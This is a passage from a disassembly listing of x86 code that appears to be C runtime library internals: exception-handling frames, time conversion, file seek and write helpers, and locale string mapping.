; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		jmp	sub_42255C

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422486	proc near		; CODE XREF: sub_421DB1+170p
					; sub_422252+3Ep

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4278F8
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jz	short loc_4224CD
		mov	ecx, [eax+1Ch]
		mov	ecx, [ecx+4]
		test	ecx, ecx
		jz	short loc_4224CD
		and	[ebp+var_4], 0
		push	ecx
		push	dword ptr [eax+18h]
		call	sub_41C8C2
		or	[ebp+var_4], 0FFFFFFFFh


loc_4224CD:				; CODE XREF: sub_422486+2Aj
					; sub_422486+34j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_422486	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		cmp	[ebp+0Ch], al
		setnz	al
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		jmp	sub_42255C

; =============== S U B	R O U T	I N E =======================================



sub_4224ED	proc near		; CODE XREF: sub_4222C2+8Fp
					; sub_4222C2+12Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [ecx]
		mov	edx, [ecx+4]
		add	eax, esi
		test	edx, edx
		jl	short loc_42250E
		mov	esi, [edx+esi]
		mov	ecx, [ecx+8]
		mov	ecx, [esi+ecx]
		add	ecx, edx
		add	eax, ecx


loc_42250E:				; CODE XREF: sub_4224ED+12j
		pop	esi
		retn
sub_4224ED	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422510	proc near		; CODE XREF: sub_41C955+40p
					; sub_42205D+5Cp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	ecx
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		push	ebp
		push	[ebp+arg_8]
		mov	ecx, [ebp+arg_8]
		mov	ebp, [ebp+var_4]
		call	sub_41CC41
		push	esi
		push	edi
		call	eax
		pop	edi
		pop	esi
		mov	ebx, ebp
		pop	ebp
		mov	ecx, [ebp+arg_8]
		push	ebp
		mov	ebp, ebx
		cmp	ecx, 100h
		jnz	short loc_42254F
		mov	ecx, 2


loc_42254F:				; CODE XREF: sub_422510+38j
		push	ecx
		call	sub_41CC41
		pop	ebp
		pop	ecx
		pop	ebx
		leave
		retn	0Ch
sub_422510	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42255C	proc near		; CODE XREF: sub_421DB1:loc_421F53j
					; sub_4220FB:loc_42210Cj ...

var_18		= dword	ptr -18h
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 004247C0 SIZE 00000017 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427908
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_4], 0
		mov	eax, dword_4DBA08
		test	eax, eax
		jz	short loc_4225A4
		mov	[ebp+var_4], 1
		call	eax
		jmp	short loc_4225A0
; ---------------------------------------------------------------------------


loc_422599:				; DATA XREF: ___:00427918o
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_42259D:				; DATA XREF: ___:0042791Co
		mov	esp, [ebp+var_18]


loc_4225A0:				; CODE XREF: sub_42255C+3Bj
		and	[ebp+var_4], 0


loc_4225A4:				; CODE XREF: sub_42255C+30j
		or	[ebp+var_4], 0FFFFFFFFh
		call	$+5


loc_4225AD:				; DATA XREF: ___:00427910o
		jmp	loc_4247C0
sub_42255C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4225B2	proc near		; CODE XREF: sub_41CAF7+23p
					; sub_41CAF7:loc_41CB62p ...

var_18		= dword	ptr -18h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427920
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_4], 0
		mov	eax, off_43CFA4
		test	eax, eax
		jz	short loc_4225FA
		mov	[ebp+var_4], 1
		call	eax ; sub_42255C
		jmp	short loc_4225F6
; ---------------------------------------------------------------------------


loc_4225EF:				; DATA XREF: ___:00427930o
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_4225F3:				; DATA XREF: ___:00427934o
		mov	esp, [ebp+var_18]


loc_4225F6:				; CODE XREF: sub_4225B2+3Bj
		and	[ebp+var_4], 0


loc_4225FA:				; CODE XREF: sub_4225B2+30j
		or	[ebp+var_4], 0FFFFFFFFh
		call	$+5


loc_422603:				; DATA XREF: ___:00427928o
		jmp	sub_42255C
sub_4225B2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422608	proc near		; CODE XREF: sub_41CFD3+7p
					; sub_41CFD3+26p

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, dword_4DCFE8
		push	esi
		cmp	eax, 3
		jnz	short loc_422631
		mov	esi, [ebp+arg_0]
		push	esi
		call	sub_41DE77
		test	eax, eax
		pop	ecx
		jz	short loc_42262E
		mov	eax, [esi-4]
		sub	eax, 9
		jmp	short loc_422666
; ---------------------------------------------------------------------------


loc_42262E:				; CODE XREF: sub_422608+1Cj
		push	esi
		jmp	short loc_422658
; ---------------------------------------------------------------------------


loc_422631:				; CODE XREF: sub_422608+Ej
		cmp	eax, 2
		jnz	short loc_422655
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	[ebp+arg_0]
		call	sub_41EBD2
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_422655
		movzx	eax, byte ptr [eax]
		shl	eax, 4
		jmp	short loc_422666
; ---------------------------------------------------------------------------


loc_422655:				; CODE XREF: sub_422608+2Cj
					; sub_422608+43j
		push	[ebp+arg_0]


loc_422658:				; CODE XREF: sub_422608+27j
		push	0
		push	dword_4DCFE4
		nop
		call	near ptr 2660000h


loc_422666:				; CODE XREF: sub_422608+24j
					; sub_422608+4Bj
		pop	esi
		leave
		retn
sub_422608	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422669	proc near		; CODE XREF: sub_41D081+C9p

var_24		= byte ptr -24h
var_1C		= dword	ptr -1Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		mov	ebx, [ebp+arg_0]
		sub	ebx, 76Ch
		cmp	ebx, 46h
		jl	loc_422725
		cmp	ebx, 8Ah
		jg	loc_422725
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		mov	esi, dword_43D46C[edi*4]
		add	esi, [ebp+arg_8]
		test	bl, 3
		jnz	short loc_4226A8
		cmp	edi, 2
		jle	short loc_4226A8
		inc	esi


loc_4226A8:				; CODE XREF: sub_422669+37j
					; sub_422669+3Cj
		call	sub_4247D7
		mov	eax, ebx
		lea	ecx, [ebx-1]
		imul	eax, 16Dh
		sar	ecx, 2
		mov	edx, esi
		mov	[ebp+var_8], esi
		add	edx, ecx
		mov	[ebp+var_10], ebx
		add	eax, edx
		mov	edx, [ebp+arg_14]
		lea	ecx, [eax+eax*2]
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_1C], eax
		lea	ecx, [eax+ecx*8]
		imul	ecx, 3Ch
		add	ecx, [ebp+arg_10]
		imul	ecx, 3Ch
		add	ecx, dword_43D388
		dec	edi
		cmp	[ebp+arg_18], 1
		mov	[ebp+var_14], edi
		pop	edi
		pop	esi
		lea	ecx, [ecx+edx+7C558180h]
		mov	[ebp+arg_0], ecx
		jz	short loc_42271B
		cmp	[ebp+arg_18], 0FFFFFFFFh
		jnz	short loc_422721
		cmp	dword_43D38C, 0
		jz	short loc_422721
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_424A4A
		pop	ecx
		mov	ecx, [ebp+arg_0]
		test	eax, eax
		jz	short loc_422721


loc_42271B:				; CODE XREF: sub_422669+90j
		add	ecx, dword_43D390


loc_422721:				; CODE XREF: sub_422669+96j
					; sub_422669+9Fj ...
		mov	eax, ecx
		jmp	short loc_422728
; ---------------------------------------------------------------------------


loc_422725:				; CODE XREF: sub_422669+13j
					; sub_422669+1Fj
		or	eax, 0FFFFFFFFh


loc_422728:				; CODE XREF: sub_422669+BAj
		pop	ebx
		leave
		retn
sub_422669	endp


; =============== S U B	R O U T	I N E =======================================



sub_42272B	proc near		; CODE XREF: ___:0041D253p
					; sub_41F11C+1A2p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		push	ebx
		cmp	eax, dword_4DCDA0
		push	esi
		push	edi
		jnb	short loc_4227AD
		mov	ecx, eax
		mov	esi, eax
		sar	ecx, 5
		and	esi, 1Fh
		lea	edi, ds:4DCCA0h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		test	byte ptr [ecx+esi+4], 1
		jz	short loc_4227AD
		push	eax
		call	sub_4238A2
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_42276F
		mov	dword_4DB958, 9
		jmp	short loc_4227BE
; ---------------------------------------------------------------------------


loc_42276F:				; CODE XREF: sub_42272B+36j
		push	[esp+0Ch+arg_8]
		push	0
		push	[esp+14h+arg_4]
		push	eax
		call	near ptr 2760000h
		nop
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_42278F
		nop
		call	near ptr 2680F9Dh
		jmp	short loc_422791
; ---------------------------------------------------------------------------


loc_42278F:				; CODE XREF: sub_42272B+5Aj
		xor	eax, eax


loc_422791:				; CODE XREF: sub_42272B+62j
		test	eax, eax
		jz	short loc_42279E
		push	eax
		call	sub_4203DF
		pop	ecx
		jmp	short loc_4227BE
; ---------------------------------------------------------------------------


loc_42279E:				; CODE XREF: sub_42272B+68j
		mov	eax, [edi]
		and	byte ptr [eax+esi+4], 0FDh
		lea	eax, [eax+esi+4]
		mov	eax, ebx
		jmp	short loc_4227C1
; ---------------------------------------------------------------------------


loc_4227AD:				; CODE XREF: sub_42272B+Dj
					; sub_42272B+2Aj
		and	dword_4DB95C, 0
		mov	dword_4DB958, 9


loc_4227BE:				; CODE XREF: sub_42272B+42j
					; sub_42272B+71j
		or	eax, 0FFFFFFFFh


loc_4227C1:				; CODE XREF: sub_42272B+80j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_42272B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4227C5	proc near		; CODE XREF: ___:0041D216p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		xor	ebx, ebx
		mov	esi, [edi+10h]
		cmp	[edi+4], ebx
		mov	[ebp+var_C], esi
		jge	short loc_4227E1
		mov	[edi+4], ebx


loc_4227E1:				; CODE XREF: sub_4227C5+17j
		push	1
		push	ebx
		push	esi
		call	sub_42272B
		add	esp, 0Ch
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jl	short loc_42284F
		mov	edx, [edi+0Ch]
		test	dx, 108h
		jnz	short loc_422806
		sub	eax, [edi+4]
		jmp	loc_422918
; ---------------------------------------------------------------------------


loc_422806:				; CODE XREF: sub_4227C5+37j
		mov	eax, [edi]
		mov	ecx, [edi+8]
		mov	ebx, eax
		sub	ebx, ecx
		test	dl, 3
		mov	[ebp+var_8], ebx
		jz	short loc_422840
		mov	edx, esi
		mov	ebx, esi
		sar	edx, 5
		and	ebx, 1Fh
		mov	edx, dword_4DCCA0[edx*4]
		test	byte ptr [edx+ebx*8+4],	80h
		jz	short loc_422857
		mov	edx, ecx


loc_422831:				; CODE XREF: sub_4227C5+79j
		cmp	edx, eax
		jnb	short loc_422857
		cmp	byte ptr [edx],	0Ah
		jnz	short loc_42283D
		inc	[ebp+var_8]


loc_42283D:				; CODE XREF: sub_4227C5+73j
		inc	edx
		jmp	short loc_422831
; ---------------------------------------------------------------------------


loc_422840:				; CODE XREF: sub_4227C5+50j
		test	dl, 80h
		jnz	short loc_422857
		mov	dword_4DB958, 16h


loc_42284F:				; CODE XREF: sub_4227C5+2Dj
		or	eax, 0FFFFFFFFh
		jmp	loc_422918
; ---------------------------------------------------------------------------


loc_422857:				; CODE XREF: sub_4227C5+68j
					; sub_4227C5+6Ej ...
		cmp	[ebp+var_4], 0
		jnz	short loc_422865
		mov	eax, [ebp+var_8]
		jmp	loc_422918
; ---------------------------------------------------------------------------


loc_422865:				; CODE XREF: sub_4227C5+96j
		test	byte ptr [edi+0Ch], 1
		jz	loc_422910
		mov	edx, [edi+4]
		test	edx, edx
		jnz	short loc_42287E
		and	[ebp+var_8], edx
		jmp	loc_422910
; ---------------------------------------------------------------------------


loc_42287E:				; CODE XREF: sub_4227C5+AFj
		sub	eax, ecx
		add	eax, edx
		mov	[ebp+arg_0], eax
		mov	eax, esi
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:4DCCA0h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		test	byte ptr [esi+eax+4], 80h
		jz	short loc_42290A
		push	2
		push	0
		push	[ebp+var_C]
		call	sub_42272B
		add	esp, 0Ch
		cmp	eax, [ebp+var_4]
		jnz	short loc_4228D1
		mov	eax, [edi+8]
		mov	ecx, [ebp+arg_0]
		add	ecx, eax


loc_4228BC:				; CODE XREF: sub_4227C5+104j
		cmp	eax, ecx
		jnb	short loc_4228CB
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_4228C8
		inc	[ebp+arg_0]


loc_4228C8:				; CODE XREF: sub_4227C5+FEj
		inc	eax
		jmp	short loc_4228BC
; ---------------------------------------------------------------------------


loc_4228CB:				; CODE XREF: sub_4227C5+F9j
		test	byte ptr [edi+0Dh], 20h
		jmp	short loc_422905
; ---------------------------------------------------------------------------


loc_4228D1:				; CODE XREF: sub_4227C5+EDj
		push	0
		push	[ebp+var_4]
		push	[ebp+var_C]
		call	sub_42272B
		mov	eax, 200h
		add	esp, 0Ch
		cmp	[ebp+arg_0], eax
		ja	short loc_4228F8
		mov	ecx, [edi+0Ch]
		test	cl, 8
		jz	short loc_4228F8
		test	ch, 4
		jz	short loc_4228FB


loc_4228F8:				; CODE XREF: sub_4227C5+124j
					; sub_4227C5+12Cj
		mov	eax, [edi+18h]


loc_4228FB:				; CODE XREF: sub_4227C5+131j
		mov	[ebp+arg_0], eax
		mov	eax, [ebx]
		test	byte ptr [esi+eax+4], 4


loc_422905:				; CODE XREF: sub_4227C5+10Aj
		jz	short loc_42290A
		inc	[ebp+arg_0]


loc_42290A:				; CODE XREF: sub_4227C5+D9j
					; sub_4227C5:loc_422905j
		mov	eax, [ebp+arg_0]
		sub	[ebp+var_4], eax


loc_422910:				; CODE XREF: sub_4227C5+A4j
					; sub_4227C5+B4j
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		add	eax, ecx


loc_422918:				; CODE XREF: sub_4227C5+3Cj
					; sub_4227C5+8Dj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4227C5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42291D	proc near		; CODE XREF: sub_41D2B4+A2p
					; sub_41DB8B+2Cp ...

var_414		= byte ptr -414h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	ecx, [ebp+arg_0]
		push	ebx
		cmp	ecx, dword_4DCDA0
		push	esi
		push	edi
		jnb	loc_422AB1
		mov	eax, ecx
		mov	esi, ecx
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:4DCCA0h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		mov	al, [eax+esi+4]
		test	al, 1
		jz	loc_422AB1
		xor	edi, edi
		cmp	[ebp+arg_8], edi
		mov	[ebp+var_8], edi
		mov	[ebp+var_10], edi
		jnz	short loc_42296E


loc_422967:				; CODE XREF: sub_42291D+177j
		xor	eax, eax
		jmp	loc_422AC5
; ---------------------------------------------------------------------------


loc_42296E:				; CODE XREF: sub_42291D+48j
		test	al, 20h
		jz	short loc_42297E
		push	2
		push	edi
		push	ecx
		call	sub_42272B
		add	esp, 0Ch


loc_42297E:				; CODE XREF: sub_42291D+53j
		mov	eax, [ebx]
		add	eax, esi
		test	byte ptr [eax+4], 80h
		jz	loc_422A4D
		mov	eax, [ebp+arg_4]
		cmp	[ebp+arg_8], edi
		mov	[ebp+var_4], eax
		mov	[ebp+arg_0], edi
		jbe	loc_422A85


loc_42299E:				; CODE XREF: sub_42291D+F5j
		lea	eax, [ebp+var_414]


loc_4229A4:				; CODE XREF: sub_42291D+B9j
		mov	ecx, [ebp+var_4]
		sub	ecx, [ebp+arg_4]
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_4229D8
		mov	ecx, [ebp+var_4]
		inc	[ebp+var_4]
		mov	cl, [ecx]
		cmp	cl, 0Ah
		jnz	short loc_4229C3
		inc	[ebp+var_10]
		mov	byte ptr [eax],	0Dh
		inc	eax


loc_4229C3:				; CODE XREF: sub_42291D+9Dj
		mov	[eax], cl
		inc	eax
		mov	ecx, eax
		lea	edx, [ebp+var_414]
		sub	ecx, edx
		cmp	ecx, 400h
		jl	short loc_4229A4


loc_4229D8:				; CODE XREF: sub_42291D+90j
		mov	edi, eax
		lea	eax, [ebp+var_414]
		sub	edi, eax
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		lea	eax, [ebp+var_414]
		push	edi
		push	eax
		mov	eax, [ebx]
		push	dword ptr [eax+esi]
		call	near ptr 26F0000h
		nop
		test	eax, eax
		jz	short loc_422A42
		mov	eax, [ebp+var_C]
		add	[ebp+var_8], eax
		cmp	eax, edi
		jl	short loc_422A14
		mov	eax, [ebp+var_4]
		sub	eax, [ebp+arg_4]
		cmp	eax, [ebp+arg_8]
		jb	short loc_42299E


loc_422A14:				; CODE XREF: sub_42291D+EAj
					; sub_42291D+12Ej
		xor	edi, edi


loc_422A16:				; CODE XREF: sub_42291D+150j
					; sub_42291D+15Bj
		mov	eax, [ebp+var_8]
		cmp	eax, edi
		jnz	loc_422AAC
		cmp	[ebp+arg_0], edi
		jz	short loc_422A85
		push	5
		pop	eax
		cmp	[ebp+arg_0], eax
		jnz	short loc_422A7A
		mov	dword_4DB958, 9
		mov	dword_4DB95C, eax
		jmp	loc_422AC2
; ---------------------------------------------------------------------------


loc_422A42:				; CODE XREF: sub_42291D+E0j
		call	near ptr 2680F9Dh
		nop
		mov	[ebp+arg_0], eax
		jmp	short loc_422A14
; ---------------------------------------------------------------------------


loc_422A4D:				; CODE XREF: sub_42291D+69j
		lea	ecx, [ebp+var_C]
		push	edi
		push	ecx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	dword ptr [eax]
		call	near ptr 26F0000h
		nop
		test	eax, eax
		jz	short loc_422A6F
		mov	eax, [ebp+var_C]
		mov	[ebp+arg_0], edi
		mov	[ebp+var_8], eax
		jmp	short loc_422A16
; ---------------------------------------------------------------------------


loc_422A6F:				; CODE XREF: sub_42291D+145j
		nop
		call	near ptr 2680F9Dh
		mov	[ebp+arg_0], eax
		jmp	short loc_422A16
; ---------------------------------------------------------------------------


loc_422A7A:				; CODE XREF: sub_42291D+10Fj
		push	[ebp+arg_0]
		call	sub_4203DF
		pop	ecx
		jmp	short loc_422AC2
; ---------------------------------------------------------------------------


loc_422A85:				; CODE XREF: sub_42291D+7Bj
					; sub_42291D+107j
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 40h
		jz	short loc_422A9A
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	1Ah
		jz	loc_422967


loc_422A9A:				; CODE XREF: sub_42291D+16Fj
		mov	dword_4DB958, 1Ch
		mov	dword_4DB95C, edi
		jmp	short loc_422AC2
; ---------------------------------------------------------------------------


loc_422AAC:				; CODE XREF: sub_42291D+FEj
		sub	eax, [ebp+var_10]
		jmp	short loc_422AC5
; ---------------------------------------------------------------------------


loc_422AB1:				; CODE XREF: sub_42291D+15j
					; sub_42291D+37j
		and	dword_4DB95C, 0
		mov	dword_4DB958, 9


loc_422AC2:				; CODE XREF: sub_42291D+120j
					; sub_42291D+166j ...
		or	eax, 0FFFFFFFFh


loc_422AC5:				; CODE XREF: sub_42291D+4Cj
					; sub_42291D+192j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_42291D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422ACA	proc near		; CODE XREF: sub_41D5AA+47p
					; sub_41D5AA+74p ...

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427940
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	edi, edi
		cmp	dword_4DBA2C, edi
		jnz	short loc_422B40
		push	edi
		push	edi
		push	1
		pop	ebx
		push	ebx
		push	offset dword_427938
		mov	esi, 100h
		push	esi
		push	edi
		call	near ptr 2650000h
		nop
		test	eax, eax
		jz	short loc_422B1E
		mov	dword_4DBA2C, ebx
		jmp	short loc_422B40
; ---------------------------------------------------------------------------


loc_422B1E:				; CODE XREF: sub_422ACA+4Aj
		push	edi
		push	edi
		push	ebx
		push	offset dword_4CB50C
		push	esi
		push	edi
		nop
		call	near ptr 2651194h
		test	eax, eax
		jz	loc_422C58
		mov	dword_4DBA2C, 2


loc_422B40:				; CODE XREF: sub_422ACA+2Ej
					; sub_422ACA+52j
		cmp	[ebp+arg_C], edi
		jle	short loc_422B55
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_426180
		pop	ecx
		pop	ecx
		mov	[ebp+arg_C], eax


loc_422B55:				; CODE XREF: sub_422ACA+79j
		mov	eax, dword_4DBA2C
		cmp	eax, 2
		jnz	short loc_422B7C
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	near ptr 2651194h
		nop
		jmp	loc_422C5A
; ---------------------------------------------------------------------------


loc_422B7C:				; CODE XREF: sub_422ACA+93j
		cmp	eax, 1
		jnz	loc_422C58
		cmp	[ebp+arg_18], edi
		jnz	short loc_422B92
		mov	eax, dword_4DBA24
		mov	[ebp+arg_18], eax


loc_422B92:				; CODE XREF: sub_422ACA+BEj
		push	edi
		push	edi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_1C]
		neg	eax
		sbb	eax, eax
		and	eax, 8
		inc	eax
		push	eax
		push	[ebp+arg_18]
		nop
		call	near ptr 2810000h
		mov	ebx, eax
		mov	[ebp+var_1C], ebx
		cmp	ebx, edi
		jz	loc_422C58
		mov	[ebp+var_4], edi
		lea	eax, [ebx+ebx]
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_24], eax
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_422BED
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		mov	[ebp+var_24], edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	ebx, [ebp+var_1C]


loc_422BED:				; CODE XREF: sub_422ACA+10Ej
		cmp	[ebp+var_24], edi
		jz	short loc_422C58
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	1
		push	[ebp+arg_18]
		nop
		call	near ptr 2810000h
		test	eax, eax
		jz	short loc_422C58
		push	edi
		push	edi
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2650000h
		mov	esi, eax
		mov	[ebp+var_28], esi
		cmp	esi, edi
		jz	short loc_422C58
		test	byte ptr [ebp+arg_4+1],	4
		jz	short loc_422C6C
		cmp	[ebp+arg_14], edi
		jz	loc_422CE7
		cmp	esi, [ebp+arg_14]
		jg	short loc_422C58
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	near ptr 2650000h
		nop
		test	eax, eax
		jnz	loc_422CE7


loc_422C58:				; CODE XREF: sub_422ACA+66j
					; sub_422ACA+B5j ...
		xor	eax, eax


loc_422C5A:				; CODE XREF: sub_422ACA+ADj
					; sub_422ACA+21Fj
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_422C6C:				; CODE XREF: sub_422ACA+160j
		mov	[ebp+var_4], 1
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_20], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_422CA0
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		xor	ebx, ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_28]


loc_422CA0:				; CODE XREF: sub_422ACA+1C2j
		cmp	ebx, edi
		jz	short loc_422C58
		push	esi
		push	ebx
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2650000h
		test	eax, eax
		jz	short loc_422C58
		cmp	[ebp+arg_14], edi
		push	edi
		push	edi
		jnz	short loc_422CC7
		push	edi
		push	edi
		jmp	short loc_422CCD
; ---------------------------------------------------------------------------


loc_422CC7:				; CODE XREF: sub_422ACA+1F7j
		push	[ebp+arg_14]
		push	[ebp+arg_10]


loc_422CCD:				; CODE XREF: sub_422ACA+1FBj
		push	esi
		push	ebx
		push	220h
		push	[ebp+arg_18]
		nop
		call	near ptr 280107Dh
		mov	esi, eax
		cmp	esi, edi
		jz	loc_422C58


loc_422CE7:				; CODE XREF: sub_422ACA+165j
					; sub_422ACA+188j
		mov	eax, esi
		jmp	loc_422C5A
sub_422ACA	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ebx
		push	dword ptr [ebp+8]
		call	sub_422E2F
		test	eax, eax
		pop	ecx
		jz	loc_422E23
		mov	ebx, [eax+8]
		test	ebx, ebx
		jz	loc_422E23
		cmp	ebx, 5
		jnz	short loc_422D1F
		and	dword ptr [eax+8], 0
		push	1
		pop	eax
		jmp	loc_422E2C
; ---------------------------------------------------------------------------


loc_422D1F:				; CODE XREF: ___:00422D11j
		cmp	ebx, 1
		jz	loc_422E1E
		mov	ecx, dword_4DBA30
		mov	[ebp+8], ecx
		mov	ecx, [ebp+0Ch]
		mov	dword_4DBA30, ecx
		mov	ecx, [eax+4]
		cmp	ecx, 8
		jnz	loc_422E0E
		mov	ecx, dword_43D020
		mov	edx, dword_43D024
		add	edx, ecx
		push	esi
		cmp	ecx, edx
		jge	short loc_422D6E
		lea	esi, [ecx+ecx*2]
		sub	edx, ecx
		lea	esi, ds:43CFB0h[esi*4]


loc_422D65:				; CODE XREF: ___:00422D6Cj
		and	dword ptr [esi], 0
		add	esi, 0Ch
		dec	edx
		jnz	short loc_422D65


loc_422D6E:				; CODE XREF: ___:00422D57j
		mov	eax, [eax]
		mov	esi, dword_43D02C
		cmp	eax, 0C000008Eh
		jnz	short loc_422D89
		mov	dword_43D02C, 83h
		jmp	short loc_422DF9
; ---------------------------------------------------------------------------


